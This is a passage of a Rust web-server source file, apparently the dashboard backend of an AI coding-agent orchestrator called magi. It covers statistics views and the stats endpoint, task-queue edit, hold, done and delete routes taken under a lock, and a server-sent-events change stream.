5295        (denominator > 0).then(|| Self {
5296            pct: 100.0 * numerator as f64 / denominator as f64,
5297            denominator,
5298        })
5299    }
5300}
5301
5302/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5303/// rates, each paired with its own denominator via [`RateView`] rather than
5304/// exposing `Stats`' own percentage methods directly — see this module's
5305/// doc for why `Stats` itself is never serialized.
5306#[derive(Debug, Serialize)]
5307struct StatsTotalsView {
5308    runs: usize,
5309    merged: usize,
5310    ready: usize,
5311    blocked: usize,
5312    failed: usize,
5313    stalled: usize,
5314    verified_noop: usize,
5315    superseded: usize,
5316    in_progress: usize,
5317    completion_rate: Option<RateView>,
5318    tallied: usize,
5319    split: usize,
5320    split_rate: Option<RateView>,
5321    deliberated: usize,
5322    minds_changed: usize,
5323    converged: usize,
5324    review_rounds: usize,
5325}
5326
5327impl From<&stats::Totals> for StatsTotalsView {
5328    fn from(t: &stats::Totals) -> Self {
5329        Self {
5330            runs: t.runs,
5331            merged: t.merged,
5332            ready: t.ready,
5333            blocked: t.blocked,
5334            failed: t.failed,
5335            stalled: t.stalled,
5336            verified_noop: t.verified_noop,
5337            superseded: t.superseded,
5338            in_progress: t.in_progress,
5339            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5340            tallied: t.tallied,
5341            split: t.split,
5342            split_rate: RateView::of(t.split, t.tallied),
5343            deliberated: t.deliberated,
5344            minds_changed: t.minds_changed,
5345            converged: t.converged,
5346            review_rounds: t.review_rounds,
5347        }
5348    }
5349}
5350
5351/// [`crate::stats::AgentStats`] for the wire.
5352#[derive(Debug, Serialize)]
5353struct AgentStatsView {
5354    agent: String,
5355    entered: usize,
5356    wins: usize,
5357    empty: usize,
5358    win_rate: Option<RateView>,
5359    competitive_entered: usize,
5360    competitive_wins: usize,
5361    competitive_win_rate: Option<RateView>,
5362    solo_entered: usize,
5363    solo_adopted: usize,
5364    solo_adoption_rate: Option<RateView>,
5365}
5366
5367impl From<&stats::AgentStats> for AgentStatsView {
5368    fn from(a: &stats::AgentStats) -> Self {
5369        Self {
5370            agent: a.agent.clone(),
5371            entered: a.entered,
5372            wins: a.wins,
5373            empty: a.empty,
5374            win_rate: RateView::of(a.wins, a.entered),
5375            competitive_entered: a.competitive_entered,
5376            competitive_wins: a.competitive_wins,
5377            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5378            solo_entered: a.solo_entered,
5379            solo_adopted: a.solo_adopted,
5380            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5381        }
5382    }
5383}
5384
5385/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
5386/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
5387/// value, `None` when `rounds` is zero.
5388#[derive(Debug, Serialize)]
5389struct ReviewerStatsView {
5390    agent: String,
5391    rounds: usize,
5392    seated: usize,
5393    submitted: usize,
5394    adopted: usize,
5395    unique: usize,
5396    timeouts: usize,
5397    adopted_per_round: Option<f64>,
5398    precision: Option<RateView>,
5399    unique_rate: Option<RateView>,
5400    timeout_rate: Option<RateView>,
5401}
5402
5403impl From<&stats::ReviewerStats> for ReviewerStatsView {
5404    fn from(r: &stats::ReviewerStats) -> Self {
5405        Self {
5406            agent: r.agent.clone(),
5407            rounds: r.rounds,
5408            seated: r.seated,
5409            submitted: r.submitted,
5410            adopted: r.adopted,
5411            unique: r.unique,
5412            timeouts: r.timeouts,
5413            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5414            precision: RateView::of(r.adopted, r.submitted),
5415            unique_rate: RateView::of(r.unique, r.submitted),
5416            timeout_rate: RateView::of(r.timeouts, r.seated),
5417        }
5418    }
5419}
5420
5421/// [`crate::stats::AdvisorStats`] for the wire.
5422///
5423/// `reflection_rate` is approximate by construction — see
5424/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
5425/// that caveat is static text in `index.html`, not a field here.
5426#[derive(Debug, Serialize)]
5427struct AdvisorStatsView {
5428    agent: String,
5429    seated: usize,
5430    proposed: usize,
5431    absent: usize,
5432    faint: usize,
5433    strong: usize,
5434    reflection_rate: Option<RateView>,
5435}
5436
5437impl From<&stats::AdvisorStats> for AdvisorStatsView {
5438    fn from(a: &stats::AdvisorStats) -> Self {
5439        Self {
5440            agent: a.agent.clone(),
5441            seated: a.seated,
5442            proposed: a.proposed,
5443            absent: a.absent,
5444            faint: a.faint,
5445            strong: a.strong,
5446            reflection_rate: RateView::of(a.strong, a.proposed),
5447        }
5448    }
5449}
5450
5451/// [`crate::stats::E2eStats`] for the wire.
5452#[derive(Debug, Serialize)]
5453struct E2eStatsView {
5454    rounds: usize,
5455    failures: usize,
5456    sole_detections: usize,
5457    deferred: usize,
5458    sole_rate: Option<RateView>,
5459}
5460
5461impl From<&stats::E2eStats> for E2eStatsView {
5462    fn from(e: &stats::E2eStats) -> Self {
5463        Self {
5464            rounds: e.rounds,
5465            failures: e.failures,
5466            sole_detections: e.sole_detections,
5467            deferred: e.deferred,
5468            sole_rate: RateView::of(e.sole_detections, e.failures),
5469        }
5470    }
5471}
5472
5473/// [`crate::stats::ReleaseBumpStats`] for the wire.
5474///
5475/// `clean` is sent as a raw count, computed the same way
5476/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5477/// needs_attention`) — never derived client-side from `automerge_enabled`,
5478/// which would misclassify a `merged_directly` bump (automerge rejected, but
5479/// magi merged it directly, so no human involvement) as needing attention.
5480#[derive(Debug, Serialize)]
5481struct ReleaseBumpStatsView {
5482    merged: usize,
5483    recorded: usize,
5484    pr_opened: usize,
5485    automerge_enabled: usize,
5486    merged_directly: usize,
5487    needs_attention: usize,
5488    clean: usize,
5489    coverage_rate: Option<RateView>,
5490    automerge_rate: Option<RateView>,
5491    attention_rate: Option<RateView>,
5492}
5493
5494impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5495    fn from(b: &stats::ReleaseBumpStats) -> Self {
5496        Self {
5497            merged: b.merged,
5498            recorded: b.recorded,
5499            pr_opened: b.pr_opened,
5500            automerge_enabled: b.automerge_enabled,
5501            merged_directly: b.merged_directly,
5502            needs_attention: b.needs_attention,
5503            clean: b.clean(),
5504            coverage_rate: RateView::of(b.recorded, b.merged),
5505            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5506            attention_rate: RateView::of(b.needs_attention, b.recorded),
5507        }
5508    }
5509}
5510
5511/// [`crate::queue::TaskCounts`] for the wire.
5512#[derive(Debug, Serialize)]
5513struct TaskCountsView {
5514    queued: usize,
5515    running: usize,
5516    done: usize,
5517    failed: usize,
5518    held: usize,
5519    blocked: usize,
5520    parked: usize,
5521}
5522
5523impl From<crate::queue::TaskCounts> for TaskCountsView {
5524    fn from(c: crate::queue::TaskCounts) -> Self {
5525        Self {
5526            queued: c.queued,
5527            running: c.running,
5528            done: c.done,
5529            failed: c.failed,
5530            held: c.held,
5531            blocked: c.blocked,
5532            parked: c.parked,
5533        }
5534    }
5535}
5536
5537/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5538/// runs recorded — the summary the UI's repository selector is built from.
5539/// Carries no nested `Stats`: picking a repo means re-fetching
5540/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5541/// aggregation rather than duplicating it.
5542#[derive(Debug, Serialize)]
5543struct RepoSummaryView {
5544    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5545    /// against, full path and all (see [`stats_get`]'s own doc for why).
5546    repo: String,
5547    /// Display name only; never used for matching.
5548    name: String,
5549    runs: usize,
5550    completion_rate: Option<RateView>,
5551}
5552
5553impl From<&stats::RepoStats> for RepoSummaryView {
5554    fn from(r: &stats::RepoStats) -> Self {
5555        let t = &r.stats.totals;
5556        Self {
5557            repo: r.repo.to_string_lossy().into_owned(),
5558            name: r.name.clone(),
5559            runs: t.runs,
5560            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5561        }
5562    }
5563}
5564
5565/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5566/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5567/// renders from them) are free to grow without that becoming a wire-contract
5568/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5569/// data" from "computed and it really is zero" the way [`RateView`] does.
5570#[derive(Debug, Serialize)]
5571struct StatsView {
5572    totals: StatsTotalsView,
5573    /// Best win rate first, as [`stats::collect`] already sorts it.
5574    agents: Vec<AgentStatsView>,
5575    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5576    reviewers: Vec<ReviewerStatsView>,
5577    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5578    advisors: Vec<AdvisorStatsView>,
5579    e2e: E2eStatsView,
5580    release_bumps: ReleaseBumpStatsView,
5581    queue: TaskCountsView,
5582    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5583    /// that field's doc. Asserted to match it in
5584    /// `stats_runs_unreadable_matches_health`.
5585    ///
5586    /// Always the whole-workload count, even when `repo` narrows every other
5587    /// field to one repository - an unreadable `run.json` carries no `repo`
5588    /// a per-repository count could attribute it to, and the queue/health
5589    /// views this mirrors never scope it either. The UI must not present it
5590    /// as if it were scoped to the selected repository.
5591    runs_unreadable: usize,
5592    /// Every repository with runs recorded, most runs first - what the UI's
5593    /// repository selector is built from. Always the full list regardless of
5594    /// `repo`, so switching repositories never needs a second request.
5595    repos: Vec<RepoSummaryView>,
5596    /// Runs per local day over the last 30 days, oldest first, always 30
5597    /// entries. Days are the *server's* local dates (the UI must not convert
5598    /// them again), cut by run creation and classified by current status.
5599    /// Narrowed by `repo` like every other run-derived field.
5600    daily: Vec<DailyStatsView>,
5601    /// The `?repo=` value this response was narrowed to, echoed back so the
5602    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5603    /// all-repositories view.
5604    repo: Option<String>,
5605    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5606    /// current config roster no longer lists them. Empty with `?all=true`, an
5607    /// unreadable config, or when nothing was retired.
5608    retired_hidden: Vec<String>,
5609}
5610
5611/// One day of [`StatsView::daily`].
5612#[derive(Debug, Serialize)]
5613struct DailyStatsView {
5614    /// `YYYY-MM-DD`, server-local.
5615    date: String,
5616    runs: usize,
5617    merged: usize,
5618    ready: usize,
5619    other: usize,
5620    /// `None` on a day with no runs, so it never reads as 0%.
5621    completion_rate: Option<RateView>,
5622}
5623
5624impl From<&stats::DayBucket> for DailyStatsView {
5625    fn from(b: &stats::DayBucket) -> Self {
5626        Self {
5627            date: b.date.to_string(),
5628            runs: b.runs,
5629            merged: b.merged,
5630            ready: b.ready,
5631            other: b.other,
5632            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5633        }
5634    }
5635}
5636
5637/// How many days [`StatsView::daily`] covers.
5638const STATS_DAILY_DAYS: usize = 30;
5639
5640/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5641/// repository. Matched by full-path equality against `RunState.repo` only
5642/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5643/// `--repo` is, because the value here always came from this same route's
5644/// own `repos` list in an earlier response, never typed by a human. A value
5645/// matching no run is a 404, not an empty aggregate: the caller asked for a
5646/// specific, named repository, and silently returning zeroes would look
5647/// exactly like a repository that has runs but none of interest.
5648#[derive(Debug, Default, Deserialize)]
5649#[serde(default)]
5650struct StatsQuery {
5651    repo: Option<String>,
5652    /// `?all=true` keeps agents that are no longer in the roster.
5653    all: bool,
5654}
5655
5656/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5657/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5658/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5659/// prints from. Reads every readable run on disk, exactly as
5660/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5661/// a separately-maintained tally could.
5662async fn stats_get(
5663    State(ui): State<Arc<Ui>>,
5664    Query(q): Query<StatsQuery>,
5665) -> ApiResult<Json<StatsView>> {
5666    blocking(move || {
5667        let states: Vec<RunState> = run_ids(&ui.runs)
5668            .into_iter()
5669            .filter_map(|id| read_run(&ui.runs, &id).ok())
5670            .collect();
5671        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5672            .iter()
5673            .map(RepoSummaryView::from)
5674            .collect();
5675        let mut scoped: Vec<&RunState> = states.iter().collect();
5676        let mut collected = match &q.repo {
5677            Some(repo) => {
5678                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5679                if filtered.is_empty() {
5680                    return Err(ApiError::not_found(format!(
5681                        "no runs recorded against repo `{repo}`"
5682                    )));
5683                }
5684                scoped = filtered.clone();
5685                stats::collect_refs(filtered)
5686            }
5687            None => stats::collect(&states),
5688        };
5689        if !q.all {
5690            let repo = q
5691                .repo
5692                .as_deref()
5693                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5694            stats::retain_current_roster(&mut collected, &repo);
5695        }
5696        let daily = stats::daily(
5697            scoped,
5698            jiff::Zoned::now().date(),
5699            &jiff::tz::TimeZone::system(),
5700            STATS_DAILY_DAYS,
5701        );
5702        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5703        Ok(Json(StatsView {
5704            totals: StatsTotalsView::from(&collected.totals),
5705            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5706            reviewers: collected
5707                .reviewers
5708                .iter()
5709                .map(ReviewerStatsView::from)
5710                .collect(),
5711            advisors: collected
5712                .advisors
5713                .iter()
5714                .map(AdvisorStatsView::from)
5715                .collect(),
5716            e2e: E2eStatsView::from(&collected.e2e),
5717            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5718            queue: TaskCountsView::from(queue_counts),
5719            runs_unreadable: runs_unreadable(&ui.runs),
5720            repos,
5721            daily: daily.iter().map(DailyStatsView::from).collect(),
5722            repo: q.repo.clone(),
5723            retired_hidden: collected.retired_hidden.clone(),
5724        }))
5725    })
5726    .await
5727}
5728
5729/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5730/// gives no reason - which must keep working, since not every hold has one.
5731#[derive(Debug, Default, Deserialize)]
5732#[serde(default, deny_unknown_fields)]
5733struct HoldBody {
5734    reason: Option<String>,
5735}
5736
5737async fn queue_hold(
5738    State(ui): State<Arc<Ui>>,
5739    Path(id): Path<String>,
5740    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5741) -> ApiResult<Json<TaskView>> {
5742    // An absent body is the ordinary case - most holds are unexplained, and
5743    // that has to stay a one-tap action rather than a form. A body that is
5744    // present and malformed is still a bad request.
5745    let body = match body {
5746        Ok(Json(body)) => body,
5747        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5748        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5749    };
5750    let reason = body.reason.filter(|r| !r.trim().is_empty());
5751    mutate(ui, id, move |t| {
5752        t.hold_manual(reason.clone());
5753        Ok(())
5754    })
5755    .await
5756}
5757
5758async fn queue_release(
5759    State(ui): State<Arc<Ui>>,
5760    Path(id): Path<String>,
5761) -> ApiResult<Json<TaskView>> {
5762    mutate(ui, id, |t| {
5763        t.release();
5764        Ok(())
5765    })
5766    .await
5767}
5768
5769#[derive(Debug, Deserialize)]
5770#[serde(deny_unknown_fields)]
5771struct ImplementersBody {
5772    implementers: u8,
5773}
5774
5775async fn queue_implementers(
5776    State(ui): State<Arc<Ui>>,
5777    Path(id): Path<String>,
5778    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5779) -> ApiResult<Json<TaskView>> {
5780    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5781    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5782}
5783
5784/// The body of `POST /api/queue/{id}/priority`.
5785#[derive(Debug, Deserialize)]
5786#[serde(deny_unknown_fields)]
5787struct PriorityBody {
5788    priority: i32,
5789}
5790
5791/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5792///
5793/// [`Task::set_priority`] is the one place the "not while running" rule is
5794/// stated; this route only carries the body to it and lets its `Err` become
5795/// the 4xx the card shows.
5796async fn queue_priority(
5797    State(ui): State<Arc<Ui>>,
5798    Path(id): Path<String>,
5799    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5800) -> ApiResult<Json<TaskView>> {
5801    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5802    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5803}
5804
5805/// The body of `POST /api/queue/{id}/edit`.
5806#[derive(Debug, Deserialize)]
5807#[serde(deny_unknown_fields)]
5808struct EditBody {
5809    title: String,
5810    instruction: String,
5811    /// Save even though the new text names a branch, commit or pull request
5812    /// that unfinished work already owns.
5813    #[serde(default)]
5814    force: bool,
5815}
5816
5817/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5818/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5819/// that refusal's message is what the sheet shows back.
5820async fn queue_edit(
5821    State(ui): State<Arc<Ui>>,
5822    Path(id): Path<String>,
5823    body: std::result::Result<Json<EditBody>, JsonRejection>,
5824) -> ApiResult<Json<TaskView>> {
5825    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5826    // The judge is an agent call, so it is awaited here, outside the claim
5827    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5828    // remembered, and the save refuses if the task moved underneath it.
5829    let mut judged: Option<(String, PathBuf)> = None;
5830    if !body.force {
5831        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5832        let (id, text) = (id.clone(), body.instruction.clone());
5833        let (seen, hits) = blocking(move || {
5834            let id = resolve_task(&queue, &id)?;
5835            let t = queue.get(&id)?;
5836            if text == t.instruction {
5837                return Ok((None, Vec::new()));
5838            }
5839            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5840            Ok((Some((t.instruction, t.repo)), hits))
5841        })
5842        .await?;
5843        if let Some((_, repo)) = &seen {
5844            let cfg = crate::config::Config::discover(repo, None)
5845                .ok()
5846                .map(|(c, _)| c);
5847            let screened =
5848                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5849                    .await
5850                    .map_err(|dup| {
5851                        ApiError::conflict(dup.render(
5852                            "Nothing was saved. If it is not a duplicate, repeat the request \
5853                             with \"force\": true.",
5854                        ))
5855                    })?;
5856            if let crate::dupes::Screened::Unjudged(why) = screened {
5857                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5858            }
5859        }
5860        judged = seen;
5861    }
5862    let force = body.force;
5863    mutate(ui, id, move |t| {
5864        if !force && body.instruction != t.instruction {
5865            match &judged {
5866                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5867                _ => {
5868                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5869                }
5870            }
5871        }
5872        t.edit(body.title.clone(), body.instruction.clone())
5873    })
5874    .await
5875}
5876
5877/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5878/// it, so the phone's other way to clear a task from the backlog does not
5879/// have to cost the run history, the attribution, and `created_at` the way
5880/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5881/// can be marked done by hand, because this is for the run the loop never
5882/// saw land - a merge done by hand, or a gate that misreported - and that can
5883/// happen from any status the task was left in.
5884async fn queue_done(
5885    State(ui): State<Arc<Ui>>,
5886    Path(id): Path<String>,
5887) -> ApiResult<Json<TaskView>> {
5888    let home = ui.home.clone();
5889    mutate(ui, id, move |t| {
5890        t.succeed();
5891        // Same as the loop's own settle path: closing a task by hand is just
5892        // as much "this task's story is over" as a daemon-driven `Merged`/
5893        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5894        // behind must stop looking like it still needs a human. `ui.home`,
5895        // not the process-global `run::home()`: they agree in a real
5896        // process, but only `ui.home` also agrees with a test fixture's own
5897        // directory.
5898        crate::daemon::supersede_prior_runs(t, &home);
5899        Ok(())
5900    })
5901    .await
5902}
5903
5904/// `DELETE /api/queue/{id}`.
5905///
5906/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5907/// names this task: a `running` status or an orphaned `.lock` left behind by a
5908/// killed daemon is a leftover, and treating either as authority made the
5909/// task undeletable from the phone for good. The associated runs, if any, are
5910/// kept: a run is self-contained history and not an appendage of the task.
5911async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5912    blocking(move || {
5913        let id = resolve_task(&ui.queue, &id)?;
5914        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5915        ui.queue
5916            .remove(&id, in_flight, &ui.questions)
5917            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5918        Ok(StatusCode::NO_CONTENT)
5919    })
5920    .await
5921}
5922
5923/// Read a task, change it, write it back, under the queue's own lock.
5924///
5925/// Taking the same claim a daemon takes is what makes hold, release,
5926/// priority, edit, and done safe to press while magi is running: without it
5927/// the daemon's next save would land on top of the operator's change and
5928/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5929/// both do, for a running task - and that refusal becomes the 4xx the card
5930/// shows, same as any other domain rule.
5931async fn mutate(
5932    ui: Arc<Ui>,
5933    id: String,
5934    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5935) -> ApiResult<Json<TaskView>> {
5936    blocking(move || {
5937        let id = resolve_task(&ui.queue, &id)?;
5938        // `claim` fails when the lock file already exists, which is the
5939        // conflict the UI must report: the daemon owns that task's file for
5940        // as long as it is running it, and our write would be lost under its
5941        // next save. The message names the lock either way.
5942        let _claim = ui.queue.claim(&id).map_err(|e| {
5943            ApiError::conflict(format!(
5944                "{e:#} - a daemon is running this task, so it cannot be \
5945                 changed from here yet"
5946            ))
5947        })?;
5948        let mut task = ui.queue.get(&id)?;
5949        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5950            Ok(dup) => ApiError::conflict(dup.render(
5951                "Nothing was saved. If it is not a duplicate, repeat the request with \
5952                 \"force\": true.",
5953            )),
5954            Err(e) => ApiError::bad_request_from(e),
5955        })?;
5956        ui.queue.put(&mut task)?;
5957        Ok(Json(TaskView::from(task)))
5958    })
5959    .await
5960}
5961
5962/// The change stream: one revision number per store, on connect and whenever
5963/// any of them moves.
5964///
5965/// The poll runs in one spawned task per client, which is affordable because
5966/// the work is a directory scan and a `stat` per file. It stops as soon as the
5967/// receiver is gone, so a phone that walks out of range costs nothing after
5968/// its next tick - there is no session and no cleanup to forget.
5969async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5970    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5971    tokio::spawn(async move {
5972        let mut ticker = tokio::time::interval(POLL);
5973        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5974        let mut stamps: Option<[Stamps; 3]> = None;
5975        loop {
5976            // The first tick completes immediately, which is what makes the
5977            // stream announce the current revisions on connect.
5978            ticker.tick().await;
5979            let state = Arc::clone(&ui);
5980            let revisions = tokio::task::spawn_blocking(move || {
5981                let stamps = [
5982                    store_stamps(state.queue.root(), false),
5983                    store_stamps(&state.runs, true),
5984                    store_stamps(state.talks.root(), false),
5985                ];
5986                let revisions = (
5987                    stamps_revision(&stamps[0]),
5988                    stamps_revision(&stamps[1]),
5989                    state.questions.revision(),
5990                    stamps_revision(&stamps[2]),
5991                    state.notices.revision(),
5992                    // The loop's counter is in-process state rather than a
5993                    // file, so nothing the three stats above look at would
5994                    // tell this phone that another one started the loop.
5995                    state.lock_loop().rev,
5996                );
5997                (revisions, stamps)
5998            })
5999            .await;
6000            let Ok((revisions, next_stamps)) = revisions else {
6001                break;
6002            };
6003            if last == Some(revisions) {
6004                continue;
6005            }
6006            let mut payload = serde_json::json!({
6007                "queue_rev": revisions.0,
6008                "runs_rev": revisions.1,
6009                "questions_rev": revisions.2,
6010                "talks_rev": revisions.3,
6011                "notifications_rev": revisions.4,
6012                "loop_rev": revisions.5,
6013            });
6014            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6015                for (index, (key, rev)) in [
6016                    ("queue_delta", base.0),
6017                    ("runs_delta", base.1),
6018                    ("talks_delta", base.3),
6019                ]
6020                .into_iter()
6021                .enumerate()
6022                {
6023                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6024                    // Empty diffs may mean a non-file dependency moved. Read whole.
6025                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6026                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
6027                    }
6028                }
6029            }
6030            last = Some(revisions);
6031            stamps = Some(next_stamps);
6032            // Giving up beats looping if the receiver is gone.
6033            let Ok(event) = Event::default().event("change").json_data(payload) else {
6034                break;
6035            };
6036            if tx.send(event).await.is_err() {
6037                break;
6038            }
6039        }
6040    });
6041    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6042        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6043}
6044
6045type Stamps = HashMap<String, (u128, u64)>;
6046
6047/// Metadata only: no task instructions or conversation bodies are read here.
6048fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6049    std::fs::read_dir(root)
6050        .into_iter()
6051        .flatten()
6052        .flatten()
6053        .filter_map(|entry| {
6054            let path = if runs {
6055                entry.path().join("run.json")
6056            } else {
6057                entry.path()
6058            };
6059            if !runs && path.extension().is_none_or(|ext| ext != "json") {
6060                return None;
6061            }
6062            let metadata = path.metadata().ok()?;
6063            let modified = metadata
6064                .modified()
6065                .ok()?
6066                .duration_since(std::time::UNIX_EPOCH)
6067                .ok()?;
6068            let id = if runs {
6069                entry.file_name().to_string_lossy().into_owned()
6070            } else {
6071                path.file_stem()?.to_string_lossy().into_owned()
6072            };
6073            Some((id, (modified.as_nanos(), metadata.len())))
6074        })
6075        .collect()
6076}
6077
6078#[derive(Debug, Serialize)]
6079struct Delta {
6080    base: u64,
6081    changed: Vec<String>,
6082    removed: Vec<String>,
6083}
6084
6085fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6086    let mut changed: Vec<_> = next
6087        .iter()
6088        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6089        .map(|(id, _)| id.clone())
6090        .collect();
6091    let mut removed: Vec<_> = previous
6092        .keys()
6093        .filter(|id| !next.contains_key(*id))
6094        .cloned()
6095        .collect();
6096    changed.sort_unstable();
6097    removed.sort_unstable();
6098    Delta {
6099        base,
6100        changed,
6101        removed,
6102    }
6103}
6104
6105/// Change detection token for recorded runs under `runs`.
6106///
6107/// Combines the id and `run.json` modification time of each run, so adding,
6108/// updating, or deleting any run — even an older one — moves the revision and
6109/// notifies connected clients via the change stream. Returns 0 when no runs
6110/// exist.
6111fn runs_revision(runs: &FsPath) -> u64 {
6112    stamps_revision(&store_stamps(runs, true))
6113}
6114
6115/// Opaque tokens use the exact metadata snapshot behind the delta, in both
6116/// health and SSE. Nanoseconds and length also detect same-millisecond writes
6117/// and deleting an older conversation (a newest-mtime token cannot do that).
6118fn stamps_revision(stamps: &Stamps) -> u64 {
6119    use std::hash::{Hash as _, Hasher as _};
6120    if stamps.is_empty() {
6121        return 0;
6122    }
6123    let mut entries: Vec<_> = stamps.iter().collect();
6124    entries.sort_unstable();
6125    let mut hasher = std::hash::DefaultHasher::new();
6126    entries.hash(&mut hasher);
6127    hasher.finish().max(1)
6128}
6129
6130/// Run ids under `runs`, newest first.
6131///
6132/// Rooted at an explicit directory rather than calling [`run::list_ids`],
6133/// which reads the process-global home: the server has to be drivable against
6134/// a temp directory for any of this to be testable.
6135fn run_ids(runs: &FsPath) -> Vec<String> {
6136    let mut ids: Vec<String> = std::fs::read_dir(runs)
6137        .into_iter()
6138        .flatten()
6139        .flatten()
6140        .filter(|e| e.path().join("run.json").is_file())
6141        .map(|e| e.file_name().to_string_lossy().into_owned())
6142        .collect();
6143    // Ids start with a sortable timestamp.
6144    ids.sort_unstable_by(|a, b| b.cmp(a));
6145    ids
6146}
6147
6148/// Read one run's state from an explicit runs root.
6149fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6150    let path = runs.join(id).join("run.json");
6151    let body =
6152        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6153    let state: RunState =
6154        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6155    // The same migration `RunState::load` applies, so a record from the
6156    // previous schema reads here as it does everywhere else (an origin-less
6157    // run shows as "origin unknown") instead of vanishing from the phone the
6158    // moment the schema is bumped.
6159    run::migrate_schema(state)
6160}
6161
6162/// Runs on disk under `runs` whose state this build cannot parse - almost
6163/// always a schema bump, occasionally a run killed mid-write.
6164///
6165/// Exposed so every surface that reports on runs shares one count instead of
6166/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
6167/// `magi doctor` calls this directly rather than guessing at the same number
6168/// a second way.
6169#[must_use]
6170pub fn runs_unreadable(runs: &FsPath) -> usize {
6171    run_ids(runs)
6172        .into_iter()
6173        .filter(|id| read_run(runs, id).is_err())
6174        .count()
6175}
6176
6177/// Expand an id or short id to exactly one run id.
6178fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6179    if runs.join(id).join("run.json").is_file() {
6180        return Ok(id.to_owned());
6181    }
6182    pick(run_ids(runs), id, "run")
6183}
6184
6185/// Expand an id or short id to exactly one task id.
6186fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6187    if queue.path_of(id).is_file() {
6188        return Ok(id.to_owned());
6189    }
6190    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6191}
6192
6193/// A question as the phone reads it.
6194///
6195/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
6196/// text already parsed into a node tree so the client never runs its own
6197/// markdown reader over agent-authored prose. A relative image path in it
6198/// resolves against this question's own panel asset route, which is the one
